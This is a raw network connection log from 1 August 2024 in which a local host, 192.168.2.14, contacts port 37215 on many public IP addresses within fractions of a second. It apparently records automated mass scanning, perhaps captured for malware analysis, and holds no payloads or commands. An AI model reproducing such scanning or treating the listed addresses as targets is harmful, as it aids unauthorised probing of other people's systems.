Aug 1, 2024 15:35:00.360774994 CEST	52548	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:35:00.360793114 CEST	45930	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:35:00.360793114 CEST	59124	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:35:00.360805035 CEST	38492	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:35:00.360821009 CEST	39722	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:35:00.360830069 CEST	49434	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:35:00.360836983 CEST	51284	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:35:00.360852003 CEST	49080	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:35:00.360861063 CEST	50658	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:35:00.360868931 CEST	57158	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:35:00.360874891 CEST	39040	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:35:00.360877991 CEST	60084	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:35:00.360892057 CEST	56866	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:35:00.360903025 CEST	49598	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:35:00.360912085 CEST	52470	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:35:00.360918045 CEST	38602	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:35:00.360933065 CEST	60786	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:35:00.360943079 CEST	59754	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:35:00.360949039 CEST	44178	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:35:00.360960960 CEST	54374	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:35:00.360966921 CEST	47958	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:35:00.360989094 CEST	44908	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:35:00.360995054 CEST	54016	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:35:00.361010075 CEST	59884	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:35:00.361011982 CEST	47192	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:35:00.361021042 CEST	35858	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:35:00.361028910 CEST	37582	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:35:00.361035109 CEST	46182	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:35:00.361044884 CEST	47902	37215	192.168.2.14	41.52.12.132
Aug 1, 2024 15:35:00.361057043 CEST	34372	37215	192.168.2.14	197.121.155.108
Aug 1, 2024 15:35:00.361068964 CEST	39218	37215	192.168.2.14	166.169.83.193
Aug 1, 2024 15:35:00.361077070 CEST	44948	37215	192.168.2.14	197.11.129.185
Aug 1, 2024 15:35:00.361088037 CEST	43362	37215	192.168.2.14	58.156.129.188
Aug 1, 2024 15:35:00.361092091 CEST	59596	37215	192.168.2.14	205.168.208.22
Aug 1, 2024 15:35:00.361104012 CEST	42992	37215	192.168.2.14	78.144.226.163
Aug 1, 2024 15:35:00.361112118 CEST	42048	37215	192.168.2.14	197.80.128.182
Aug 1, 2024 15:35:00.361119032 CEST	41560	37215	192.168.2.14	157.52.248.164
Aug 1, 2024 15:35:00.361134052 CEST	33866	37215	192.168.2.14	157.118.9.35
Aug 1, 2024 15:35:00.361135006 CEST	37484	37215	192.168.2.14	157.32.148.252
Aug 1, 2024 15:35:00.361146927 CEST	55368	37215	192.168.2.14	157.226.171.207
Aug 1, 2024 15:35:00.361159086 CEST	53132	37215	192.168.2.14	41.76.2.129
Aug 1, 2024 15:35:00.361164093 CEST	40360	37215	192.168.2.14	197.137.115.65
Aug 1, 2024 15:35:00.361175060 CEST	56092	37215	192.168.2.14	157.113.145.111
Aug 1, 2024 15:35:00.361179113 CEST	60978	37215	192.168.2.14	197.170.85.99
Aug 1, 2024 15:35:00.361192942 CEST	47156	37215	192.168.2.14	105.165.63.7
Aug 1, 2024 15:35:00.361200094 CEST	47762	37215	192.168.2.14	198.104.201.44
Aug 1, 2024 15:35:00.361210108 CEST	40986	37215	192.168.2.14	217.249.197.83
Aug 1, 2024 15:35:00.361215115 CEST	56016	37215	192.168.2.14	107.13.231.246
Aug 1, 2024 15:35:00.361227036 CEST	46170	37215	192.168.2.14	41.61.168.163
Aug 1, 2024 15:35:00.361243963 CEST	51884	37215	192.168.2.14	41.200.234.185
Aug 1, 2024 15:35:00.361247063 CEST	35712	37215	192.168.2.14	157.254.97.58
Aug 1, 2024 15:35:00.361265898 CEST	39480	37215	192.168.2.14	41.141.133.53
Aug 1, 2024 15:35:00.361272097 CEST	54940	37215	192.168.2.14	41.172.181.125
Aug 1, 2024 15:35:00.361279011 CEST	37734	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:35:00.361285925 CEST	44912	37215	192.168.2.14	60.130.244.9
Aug 1, 2024 15:35:00.361298084 CEST	57490	37215	192.168.2.14	197.58.10.39
Aug 1, 2024 15:35:00.361310959 CEST	40422	37215	192.168.2.14	41.200.90.140
Aug 1, 2024 15:35:00.361320019 CEST	54076	37215	192.168.2.14	197.164.112.203
Aug 1, 2024 15:35:00.361326933 CEST	41604	37215	192.168.2.14	197.5.110.126
Aug 1, 2024 15:35:00.361336946 CEST	42076	37215	192.168.2.14	41.141.154.192
Aug 1, 2024 15:35:00.361346006 CEST	48166	37215	192.168.2.14	197.111.174.10
Aug 1, 2024 15:35:00.361358881 CEST	60542	37215	192.168.2.14	41.40.221.28
Aug 1, 2024 15:35:00.361358881 CEST	46604	37215	192.168.2.14	41.147.137.244
Aug 1, 2024 15:35:00.361366987 CEST	60258	37215	192.168.2.14	197.41.194.147
Aug 1, 2024 15:35:00.361382008 CEST	39734	37215	192.168.2.14	197.218.203.70
Aug 1, 2024 15:35:00.361388922 CEST	34470	37215	192.168.2.14	41.28.192.174
Aug 1, 2024 15:35:00.361399889 CEST	53804	37215	192.168.2.14	197.19.184.207
Aug 1, 2024 15:35:00.361412048 CEST	41138	37215	192.168.2.14	113.16.222.200
Aug 1, 2024 15:35:00.361430883 CEST	53608	37215	192.168.2.14	144.126.245.42
Aug 1, 2024 15:35:00.361433029 CEST	41320	37215	192.168.2.14	157.50.91.84
Aug 1, 2024 15:35:00.361444950 CEST	60802	37215	192.168.2.14	197.127.128.225
Aug 1, 2024 15:35:00.361454964 CEST	37086	37215	192.168.2.14	197.67.198.48
Aug 1, 2024 15:35:00.361473083 CEST	48712	37215	192.168.2.14	197.240.3.195
Aug 1, 2024 15:35:00.361485004 CEST	60966	37215	192.168.2.14	41.30.93.7
Aug 1, 2024 15:35:00.361489058 CEST	45872	37215	192.168.2.14	157.30.104.129
Aug 1, 2024 15:35:00.361505985 CEST	57940	37215	192.168.2.14	41.15.236.234
Aug 1, 2024 15:35:00.361505985 CEST	33336	37215	192.168.2.14	180.68.37.214
Aug 1, 2024 15:35:00.361525059 CEST	51144	37215	192.168.2.14	41.25.138.196
Aug 1, 2024 15:35:00.361531973 CEST	37276	37215	192.168.2.14	206.53.65.154
Aug 1, 2024 15:35:00.361536026 CEST	58630	37215	192.168.2.14	41.131.210.195
Aug 1, 2024 15:35:00.361550093 CEST	60206	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:35:00.361561060 CEST	40906	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:35:00.361596107 CEST	52256	37215	192.168.2.14	157.207.137.17
Aug 1, 2024 15:35:00.361622095 CEST	60002	37215	192.168.2.14	197.31.132.85
Aug 1, 2024 15:35:00.361641884 CEST	36982	37215	192.168.2.14	41.5.166.214
Aug 1, 2024 15:35:00.361656904 CEST	52256	37215	192.168.2.14	157.207.137.17
Aug 1, 2024 15:35:00.361668110 CEST	60002	37215	192.168.2.14	197.31.132.85
Aug 1, 2024 15:35:00.361681938 CEST	36982	37215	192.168.2.14	41.5.166.214
Aug 1, 2024 15:35:00.363403082 CEST	37215	33408	197.243.28.138	192.168.2.14
Aug 1, 2024 15:35:00.363456964 CEST	37215	38392	41.19.42.246	192.168.2.14
Aug 1, 2024 15:35:00.363467932 CEST	37215	58878	41.197.214.17	192.168.2.14
Aug 1, 2024 15:35:00.363473892 CEST	33408	37215	192.168.2.14	197.243.28.138
Aug 1, 2024 15:35:00.363480091 CEST	37215	56406	150.104.237.3	192.168.2.14
Aug 1, 2024 15:35:00.363500118 CEST	38392	37215	192.168.2.14	41.19.42.246
Aug 1, 2024 15:35:00.363508940 CEST	58878	37215	192.168.2.14	41.197.214.17
Aug 1, 2024 15:35:00.363518000 CEST	56406	37215	192.168.2.14	150.104.237.3
Aug 1, 2024 15:35:00.363533974 CEST	37215	57996	41.135.159.193	192.168.2.14
Aug 1, 2024 15:35:00.363543987 CEST	37215	45490	41.210.32.53	192.168.2.14
Aug 1, 2024 15:35:00.363547087 CEST	33408	37215	192.168.2.14	197.243.28.138
Aug 1, 2024 15:35:00.363563061 CEST	33408	37215	192.168.2.14	197.243.28.138
Aug 1, 2024 15:35:00.363569021 CEST	57996	37215	192.168.2.14	41.135.159.193
Aug 1, 2024 15:35:00.363578081 CEST	45490	37215	192.168.2.14	41.210.32.53
Aug 1, 2024 15:35:00.363605976 CEST	38392	37215	192.168.2.14	41.19.42.246
Aug 1, 2024 15:35:00.363626957 CEST	58878	37215	192.168.2.14	41.197.214.17
Aug 1, 2024 15:35:00.363646030 CEST	56406	37215	192.168.2.14	150.104.237.3
Aug 1, 2024 15:35:00.363657951 CEST	38392	37215	192.168.2.14	41.19.42.246
Aug 1, 2024 15:35:00.363663912 CEST	58878	37215	192.168.2.14	41.197.214.17
Aug 1, 2024 15:35:00.363677979 CEST	56406	37215	192.168.2.14	150.104.237.3
Aug 1, 2024 15:35:00.363701105 CEST	57996	37215	192.168.2.14	41.135.159.193
Aug 1, 2024 15:35:00.363723040 CEST	45490	37215	192.168.2.14	41.210.32.53
Aug 1, 2024 15:35:00.363744020 CEST	57996	37215	192.168.2.14	41.135.159.193
Aug 1, 2024 15:35:00.363753080 CEST	45490	37215	192.168.2.14	41.210.32.53
Aug 1, 2024 15:35:00.363898993 CEST	37215	34600	41.78.120.21	192.168.2.14
Aug 1, 2024 15:35:00.363919973 CEST	37215	58140	197.105.131.94	192.168.2.14
Aug 1, 2024 15:35:00.363997936 CEST	37215	42660	73.38.23.67	192.168.2.14
Aug 1, 2024 15:35:00.364099026 CEST	37215	51110	157.242.52.91	192.168.2.14
Aug 1, 2024 15:35:00.364108086 CEST	37215	56794	157.23.170.138	192.168.2.14
Aug 1, 2024 15:35:00.364134073 CEST	37215	47622	41.89.107.167	192.168.2.14
Aug 1, 2024 15:35:00.364196062 CEST	37215	38676	41.235.197.244	192.168.2.14
Aug 1, 2024 15:35:00.364204884 CEST	37215	52134	197.63.190.45	192.168.2.14
Aug 1, 2024 15:35:00.364276886 CEST	37215	40128	157.78.220.41	192.168.2.14
Aug 1, 2024 15:35:00.364412069 CEST	37215	45270	41.76.128.203	192.168.2.14
Aug 1, 2024 15:35:00.364422083 CEST	37215	47842	197.85.142.182	192.168.2.14
Aug 1, 2024 15:35:00.364448071 CEST	37215	53612	63.120.40.133	192.168.2.14
Aug 1, 2024 15:35:00.364543915 CEST	37215	52332	197.246.30.64	192.168.2.14
Aug 1, 2024 15:35:00.364563942 CEST	37215	43516	136.46.29.148	192.168.2.14
Aug 1, 2024 15:35:00.364614964 CEST	37215	54066	41.41.71.88	192.168.2.14
Aug 1, 2024 15:35:00.364813089 CEST	37215	58120	157.138.174.217	192.168.2.14
Aug 1, 2024 15:35:00.364823103 CEST	37215	38032	118.192.63.141	192.168.2.14
Aug 1, 2024 15:35:00.364886045 CEST	37215	38160	41.109.220.125	192.168.2.14
Aug 1, 2024 15:35:00.365044117 CEST	37215	53610	112.128.136.30	192.168.2.14
Aug 1, 2024 15:35:00.365077972 CEST	37215	55546	41.107.94.48	192.168.2.14
Aug 1, 2024 15:35:00.365189075 CEST	37215	52230	41.52.107.254	192.168.2.14
Aug 1, 2024 15:35:00.365197897 CEST	37215	48760	41.83.163.99	192.168.2.14
Aug 1, 2024 15:35:00.365267038 CEST	37215	60170	197.185.111.97	192.168.2.14
Aug 1, 2024 15:35:00.365318060 CEST	37215	60736	197.23.60.168	192.168.2.14
Aug 1, 2024 15:35:00.365451097 CEST	37215	47982	219.155.0.124	192.168.2.14
Aug 1, 2024 15:35:00.365461111 CEST	37215	48540	41.161.102.218	192.168.2.14
Aug 1, 2024 15:35:00.365531921 CEST	37215	51530	166.223.221.164	192.168.2.14
Aug 1, 2024 15:35:00.365657091 CEST	37215	38604	157.5.109.189	192.168.2.14
Aug 1, 2024 15:35:00.365665913 CEST	37215	55922	157.158.183.224	192.168.2.14
Aug 1, 2024 15:35:00.365674973 CEST	37215	56008	18.194.167.50	192.168.2.14
Aug 1, 2024 15:35:00.365813017 CEST	37215	54614	91.194.45.38	192.168.2.14
Aug 1, 2024 15:35:00.365823030 CEST	37215	56658	41.74.123.25	192.168.2.14
Aug 1, 2024 15:35:00.366197109 CEST	37215	60958	138.214.102.216	192.168.2.14
Aug 1, 2024 15:35:00.366312981 CEST	37215	35164	41.43.100.163	192.168.2.14
Aug 1, 2024 15:35:00.366322041 CEST	37215	42080	157.120.66.165	192.168.2.14
Aug 1, 2024 15:35:00.366364956 CEST	37215	44458	197.167.39.95	192.168.2.14
Aug 1, 2024 15:35:00.369740009 CEST	37215	57760	134.183.251.243	192.168.2.14
Aug 1, 2024 15:35:00.369755983 CEST	37215	52548	41.219.197.16	192.168.2.14
Aug 1, 2024 15:35:00.369765997 CEST	37215	45930	157.88.68.208	192.168.2.14
Aug 1, 2024 15:35:00.369777918 CEST	37215	59124	157.154.48.216	192.168.2.14
Aug 1, 2024 15:35:00.369899035 CEST	37215	38492	197.130.251.3	192.168.2.14
Aug 1, 2024 15:35:00.369993925 CEST	37215	39722	197.89.173.242	192.168.2.14
Aug 1, 2024 15:35:00.370079041 CEST	37215	49434	157.253.10.34	192.168.2.14
Aug 1, 2024 15:35:00.370090008 CEST	37215	51284	197.16.100.78	192.168.2.14
Aug 1, 2024 15:35:00.370187044 CEST	37215	49080	197.12.225.254	192.168.2.14
Aug 1, 2024 15:35:00.370197058 CEST	37215	50658	197.12.95.190	192.168.2.14
Aug 1, 2024 15:35:00.370276928 CEST	37215	57158	41.79.160.146	192.168.2.14
Aug 1, 2024 15:35:00.370287895 CEST	37215	39040	157.103.47.32	192.168.2.14
Aug 1, 2024 15:35:00.370398998 CEST	37215	60084	41.108.249.103	192.168.2.14
Aug 1, 2024 15:35:00.370440006 CEST	37215	56866	197.17.179.252	192.168.2.14
Aug 1, 2024 15:35:00.370507002 CEST	37215	49598	41.245.185.224	192.168.2.14
Aug 1, 2024 15:35:00.370553017 CEST	37215	52470	157.79.109.3	192.168.2.14
Aug 1, 2024 15:35:00.370636940 CEST	37215	38602	41.74.126.187	192.168.2.14
Aug 1, 2024 15:35:00.370686054 CEST	37215	60786	41.253.236.38	192.168.2.14
Aug 1, 2024 15:35:00.370702982 CEST	37215	59754	197.71.147.151	192.168.2.14
Aug 1, 2024 15:35:00.370721102 CEST	37215	44178	41.154.118.32	192.168.2.14
Aug 1, 2024 15:35:00.370826006 CEST	37215	54374	197.185.178.240	192.168.2.14
Aug 1, 2024 15:35:00.370836020 CEST	37215	47958	197.53.237.26	192.168.2.14
Aug 1, 2024 15:35:00.370893002 CEST	37215	44908	211.54.101.57	192.168.2.14
Aug 1, 2024 15:35:00.370939970 CEST	37215	54016	41.68.28.149	192.168.2.14
Aug 1, 2024 15:35:00.370950937 CEST	37215	59884	137.133.125.210	192.168.2.14
Aug 1, 2024 15:35:00.370976925 CEST	37215	47192	197.99.211.31	192.168.2.14
Aug 1, 2024 15:35:00.371042967 CEST	37215	35858	197.54.229.169	192.168.2.14
Aug 1, 2024 15:35:00.371053934 CEST	37215	37582	126.100.155.189	192.168.2.14
Aug 1, 2024 15:35:00.371115923 CEST	37215	46182	157.101.162.13	192.168.2.14
Aug 1, 2024 15:35:00.371212006 CEST	37215	47902	41.52.12.132	192.168.2.14
Aug 1, 2024 15:35:00.371222019 CEST	37215	34372	197.121.155.108	192.168.2.14
Aug 1, 2024 15:35:00.371231079 CEST	37215	39218	166.169.83.193	192.168.2.14
Aug 1, 2024 15:35:00.371258020 CEST	37215	44948	197.11.129.185	192.168.2.14
Aug 1, 2024 15:35:00.371267080 CEST	37215	43362	58.156.129.188	192.168.2.14
Aug 1, 2024 15:35:00.371335030 CEST	37215	59596	205.168.208.22	192.168.2.14
Aug 1, 2024 15:35:00.371400118 CEST	37215	42992	78.144.226.163	192.168.2.14
Aug 1, 2024 15:35:00.371416092 CEST	37215	42048	197.80.128.182	192.168.2.14
Aug 1, 2024 15:35:00.371433973 CEST	37215	41560	157.52.248.164	192.168.2.14
Aug 1, 2024 15:35:00.371480942 CEST	37215	33866	157.118.9.35	192.168.2.14
Aug 1, 2024 15:35:00.371551037 CEST	37215	37484	157.32.148.252	192.168.2.14
Aug 1, 2024 15:35:00.371663094 CEST	37215	55368	157.226.171.207	192.168.2.14
Aug 1, 2024 15:35:00.371673107 CEST	37215	53132	41.76.2.129	192.168.2.14
Aug 1, 2024 15:35:00.371732950 CEST	37215	40360	197.137.115.65	192.168.2.14
Aug 1, 2024 15:35:00.371849060 CEST	37215	56092	157.113.145.111	192.168.2.14
Aug 1, 2024 15:35:00.371870995 CEST	37215	60978	197.170.85.99	192.168.2.14
Aug 1, 2024 15:35:00.371973038 CEST	37215	47156	105.165.63.7	192.168.2.14
Aug 1, 2024 15:35:00.371983051 CEST	37215	47762	198.104.201.44	192.168.2.14
Aug 1, 2024 15:35:00.371990919 CEST	37215	40986	217.249.197.83	192.168.2.14
Aug 1, 2024 15:35:00.372052908 CEST	37215	56016	107.13.231.246	192.168.2.14
Aug 1, 2024 15:35:00.372064114 CEST	37215	46170	41.61.168.163	192.168.2.14
Aug 1, 2024 15:35:00.372107029 CEST	37215	51884	41.200.234.185	192.168.2.14
Aug 1, 2024 15:35:00.372150898 CEST	37215	35712	157.254.97.58	192.168.2.14
Aug 1, 2024 15:35:00.372167110 CEST	37215	39480	41.141.133.53	192.168.2.14
Aug 1, 2024 15:35:00.372183084 CEST	37215	54940	41.172.181.125	192.168.2.14
Aug 1, 2024 15:35:00.372237921 CEST	37215	37734	197.6.51.90	192.168.2.14
Aug 1, 2024 15:35:00.372247934 CEST	37215	44912	60.130.244.9	192.168.2.14
Aug 1, 2024 15:35:00.372317076 CEST	37215	57490	197.58.10.39	192.168.2.14
Aug 1, 2024 15:35:00.372415066 CEST	37215	40422	41.200.90.140	192.168.2.14
Aug 1, 2024 15:35:00.372425079 CEST	37215	54076	197.164.112.203	192.168.2.14
Aug 1, 2024 15:35:00.372435093 CEST	37215	41604	197.5.110.126	192.168.2.14
Aug 1, 2024 15:35:00.372529984 CEST	37215	42076	41.141.154.192	192.168.2.14
Aug 1, 2024 15:35:00.372610092 CEST	37215	48166	197.111.174.10	192.168.2.14
Aug 1, 2024 15:35:00.372618914 CEST	37215	60542	41.40.221.28	192.168.2.14
Aug 1, 2024 15:35:00.372628927 CEST	37215	46604	41.147.137.244	192.168.2.14
Aug 1, 2024 15:35:00.372694969 CEST	37215	60258	197.41.194.147	192.168.2.14
Aug 1, 2024 15:35:00.372704029 CEST	37215	39734	197.218.203.70	192.168.2.14
Aug 1, 2024 15:35:00.372735023 CEST	37215	34470	41.28.192.174	192.168.2.14
Aug 1, 2024 15:35:00.372853041 CEST	37215	53804	197.19.184.207	192.168.2.14
Aug 1, 2024 15:35:00.373027086 CEST	37215	41138	113.16.222.200	192.168.2.14
Aug 1, 2024 15:35:00.373049021 CEST	37215	53608	144.126.245.42	192.168.2.14
Aug 1, 2024 15:35:00.373189926 CEST	37215	41320	157.50.91.84	192.168.2.14
Aug 1, 2024 15:35:00.373322964 CEST	37215	60802	197.127.128.225	192.168.2.14
Aug 1, 2024 15:35:00.373332977 CEST	37215	37086	197.67.198.48	192.168.2.14
Aug 1, 2024 15:35:00.373354912 CEST	37215	48712	197.240.3.195	192.168.2.14
Aug 1, 2024 15:35:00.373549938 CEST	37215	60966	41.30.93.7	192.168.2.14
Aug 1, 2024 15:35:00.373558998 CEST	37215	45872	157.30.104.129	192.168.2.14
Aug 1, 2024 15:35:00.373591900 CEST	37215	57940	41.15.236.234	192.168.2.14
Aug 1, 2024 15:35:00.373672009 CEST	37215	33336	180.68.37.214	192.168.2.14
Aug 1, 2024 15:35:00.373681068 CEST	37215	51144	41.25.138.196	192.168.2.14
Aug 1, 2024 15:35:00.373688936 CEST	37215	37276	206.53.65.154	192.168.2.14
Aug 1, 2024 15:35:00.373903036 CEST	37215	58630	41.131.210.195	192.168.2.14
Aug 1, 2024 15:35:00.373914003 CEST	37215	60206	41.56.153.170	192.168.2.14
Aug 1, 2024 15:35:00.374058962 CEST	37215	40906	41.150.42.173	192.168.2.14
Aug 1, 2024 15:35:00.374237061 CEST	37215	40734	157.135.198.113	192.168.2.14
Aug 1, 2024 15:35:00.374264002 CEST	37215	57400	106.98.95.231	192.168.2.14
Aug 1, 2024 15:35:00.374274015 CEST	37215	40258	41.167.163.83	192.168.2.14
Aug 1, 2024 15:35:00.374283075 CEST	37215	54542	197.202.200.221	192.168.2.14
Aug 1, 2024 15:35:00.374303102 CEST	40734	37215	192.168.2.14	157.135.198.113
Aug 1, 2024 15:35:00.374313116 CEST	57400	37215	192.168.2.14	106.98.95.231
Aug 1, 2024 15:35:00.374319077 CEST	40258	37215	192.168.2.14	41.167.163.83
Aug 1, 2024 15:35:00.374416113 CEST	54542	37215	192.168.2.14	197.202.200.221
Aug 1, 2024 15:35:00.374449015 CEST	40734	37215	192.168.2.14	157.135.198.113
Aug 1, 2024 15:35:00.374465942 CEST	57400	37215	192.168.2.14	106.98.95.231
Aug 1, 2024 15:35:00.374488115 CEST	40258	37215	192.168.2.14	41.167.163.83
Aug 1, 2024 15:35:00.374507904 CEST	54542	37215	192.168.2.14	197.202.200.221
Aug 1, 2024 15:35:00.374521017 CEST	40734	37215	192.168.2.14	157.135.198.113
Aug 1, 2024 15:35:00.374530077 CEST	57400	37215	192.168.2.14	106.98.95.231
Aug 1, 2024 15:35:00.374536991 CEST	40258	37215	192.168.2.14	41.167.163.83
Aug 1, 2024 15:35:00.374547005 CEST	54542	37215	192.168.2.14	197.202.200.221
Aug 1, 2024 15:35:00.374835014 CEST	37215	52726	197.159.91.59	192.168.2.14
Aug 1, 2024 15:35:00.374890089 CEST	52726	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:35:00.375432968 CEST	37215	52256	157.207.137.17	192.168.2.14
Aug 1, 2024 15:35:00.375524998 CEST	37215	60002	197.31.132.85	192.168.2.14
Aug 1, 2024 15:35:00.375962973 CEST	37215	36982	41.5.166.214	192.168.2.14
Aug 1, 2024 15:35:00.375971079 CEST	37215	33408	197.243.28.138	192.168.2.14
Aug 1, 2024 15:35:00.376137018 CEST	37215	38392	41.19.42.246	192.168.2.14
Aug 1, 2024 15:35:00.376143932 CEST	37215	58878	41.197.214.17	192.168.2.14
Aug 1, 2024 15:35:00.376187086 CEST	37215	56406	150.104.237.3	192.168.2.14
Aug 1, 2024 15:35:00.376194954 CEST	37215	57996	41.135.159.193	192.168.2.14
Aug 1, 2024 15:35:00.376262903 CEST	37215	45490	41.210.32.53	192.168.2.14
Aug 1, 2024 15:35:00.379421949 CEST	37215	40734	157.135.198.113	192.168.2.14
Aug 1, 2024 15:35:00.379542112 CEST	37215	57400	106.98.95.231	192.168.2.14
Aug 1, 2024 15:35:00.379550934 CEST	37215	40258	41.167.163.83	192.168.2.14
Aug 1, 2024 15:35:00.379559040 CEST	37215	54542	197.202.200.221	192.168.2.14
Aug 1, 2024 15:35:00.419020891 CEST	37215	55546	41.107.94.48	192.168.2.14
Aug 1, 2024 15:35:00.419049978 CEST	37215	38160	41.109.220.125	192.168.2.14
Aug 1, 2024 15:35:00.419060946 CEST	37215	38032	118.192.63.141	192.168.2.14
Aug 1, 2024 15:35:00.419070005 CEST	37215	58120	157.138.174.217	192.168.2.14
Aug 1, 2024 15:35:00.419076920 CEST	37215	43516	136.46.29.148	192.168.2.14
Aug 1, 2024 15:35:00.419080973 CEST	37215	54066	41.41.71.88	192.168.2.14
Aug 1, 2024 15:35:00.419126034 CEST	37215	52332	197.246.30.64	192.168.2.14
Aug 1, 2024 15:35:00.419135094 CEST	37215	53612	63.120.40.133	192.168.2.14
Aug 1, 2024 15:35:00.419140100 CEST	37215	47842	197.85.142.182	192.168.2.14
Aug 1, 2024 15:35:00.419145107 CEST	37215	45270	41.76.128.203	192.168.2.14
Aug 1, 2024 15:35:00.419148922 CEST	37215	52134	197.63.190.45	192.168.2.14
Aug 1, 2024 15:35:00.419158936 CEST	37215	40128	157.78.220.41	192.168.2.14
Aug 1, 2024 15:35:00.419167995 CEST	37215	38676	41.235.197.244	192.168.2.14
Aug 1, 2024 15:35:00.419183016 CEST	37215	47622	41.89.107.167	192.168.2.14
Aug 1, 2024 15:35:00.419190884 CEST	37215	56794	157.23.170.138	192.168.2.14
Aug 1, 2024 15:35:00.419205904 CEST	37215	51110	157.242.52.91	192.168.2.14
Aug 1, 2024 15:35:00.419214964 CEST	37215	42660	73.38.23.67	192.168.2.14
Aug 1, 2024 15:35:00.419223070 CEST	37215	58140	197.105.131.94	192.168.2.14
Aug 1, 2024 15:35:00.419231892 CEST	37215	34600	41.78.120.21	192.168.2.14
Aug 1, 2024 15:35:00.419239044 CEST	37215	45490	41.210.32.53	192.168.2.14
Aug 1, 2024 15:35:00.419262886 CEST	37215	57996	41.135.159.193	192.168.2.14
Aug 1, 2024 15:35:00.419271946 CEST	37215	56406	150.104.237.3	192.168.2.14
Aug 1, 2024 15:35:00.419281960 CEST	37215	58878	41.197.214.17	192.168.2.14
Aug 1, 2024 15:35:00.419306993 CEST	37215	38392	41.19.42.246	192.168.2.14
Aug 1, 2024 15:35:00.419316053 CEST	37215	33408	197.243.28.138	192.168.2.14
Aug 1, 2024 15:35:00.419331074 CEST	37215	36982	41.5.166.214	192.168.2.14
Aug 1, 2024 15:35:00.419338942 CEST	37215	60002	197.31.132.85	192.168.2.14
Aug 1, 2024 15:35:00.419347048 CEST	37215	52256	157.207.137.17	192.168.2.14
Aug 1, 2024 15:35:00.419353962 CEST	37215	40906	41.150.42.173	192.168.2.14
Aug 1, 2024 15:35:00.419368029 CEST	37215	60206	41.56.153.170	192.168.2.14
Aug 1, 2024 15:35:00.419375896 CEST	37215	58630	41.131.210.195	192.168.2.14
Aug 1, 2024 15:35:00.419384003 CEST	37215	37276	206.53.65.154	192.168.2.14
Aug 1, 2024 15:35:00.419392109 CEST	37215	51144	41.25.138.196	192.168.2.14
Aug 1, 2024 15:35:00.419399023 CEST	37215	33336	180.68.37.214	192.168.2.14
Aug 1, 2024 15:35:00.419414043 CEST	37215	57940	41.15.236.234	192.168.2.14
Aug 1, 2024 15:35:00.419435024 CEST	37215	45872	157.30.104.129	192.168.2.14
Aug 1, 2024 15:35:00.419447899 CEST	37215	60966	41.30.93.7	192.168.2.14
Aug 1, 2024 15:35:00.419461012 CEST	37215	48712	197.240.3.195	192.168.2.14
Aug 1, 2024 15:35:00.419476032 CEST	37215	37086	197.67.198.48	192.168.2.14
Aug 1, 2024 15:35:00.419485092 CEST	37215	60802	197.127.128.225	192.168.2.14
Aug 1, 2024 15:35:00.419492960 CEST	37215	41320	157.50.91.84	192.168.2.14
Aug 1, 2024 15:35:00.419500113 CEST	37215	53608	144.126.245.42	192.168.2.14
Aug 1, 2024 15:35:00.419507980 CEST	37215	41138	113.16.222.200	192.168.2.14
Aug 1, 2024 15:35:00.419518948 CEST	37215	53804	197.19.184.207	192.168.2.14
Aug 1, 2024 15:35:00.419538975 CEST	37215	34470	41.28.192.174	192.168.2.14
Aug 1, 2024 15:35:00.419547081 CEST	37215	39734	197.218.203.70	192.168.2.14
Aug 1, 2024 15:35:00.419563055 CEST	37215	60258	197.41.194.147	192.168.2.14
Aug 1, 2024 15:35:00.419572115 CEST	37215	46604	41.147.137.244	192.168.2.14
Aug 1, 2024 15:35:00.419579029 CEST	37215	60542	41.40.221.28	192.168.2.14
Aug 1, 2024 15:35:00.419588089 CEST	37215	48166	197.111.174.10	192.168.2.14
Aug 1, 2024 15:35:00.419605970 CEST	37215	42076	41.141.154.192	192.168.2.14
Aug 1, 2024 15:35:00.419615030 CEST	37215	41604	197.5.110.126	192.168.2.14
Aug 1, 2024 15:35:00.419622898 CEST	37215	54076	197.164.112.203	192.168.2.14
Aug 1, 2024 15:35:00.419637918 CEST	37215	40422	41.200.90.140	192.168.2.14
Aug 1, 2024 15:35:00.419646978 CEST	37215	57490	197.58.10.39	192.168.2.14
Aug 1, 2024 15:35:00.419655085 CEST	37215	44912	60.130.244.9	192.168.2.14
Aug 1, 2024 15:35:00.419665098 CEST	37215	37734	197.6.51.90	192.168.2.14
Aug 1, 2024 15:35:00.419678926 CEST	37215	54940	41.172.181.125	192.168.2.14
Aug 1, 2024 15:35:00.419687033 CEST	37215	39480	41.141.133.53	192.168.2.14
Aug 1, 2024 15:35:00.419702053 CEST	37215	35712	157.254.97.58	192.168.2.14
Aug 1, 2024 15:35:00.419709921 CEST	37215	51884	41.200.234.185	192.168.2.14
Aug 1, 2024 15:35:00.419724941 CEST	37215	46170	41.61.168.163	192.168.2.14
Aug 1, 2024 15:35:00.419734001 CEST	37215	56016	107.13.231.246	192.168.2.14
Aug 1, 2024 15:35:00.419749022 CEST	37215	40986	217.249.197.83	192.168.2.14
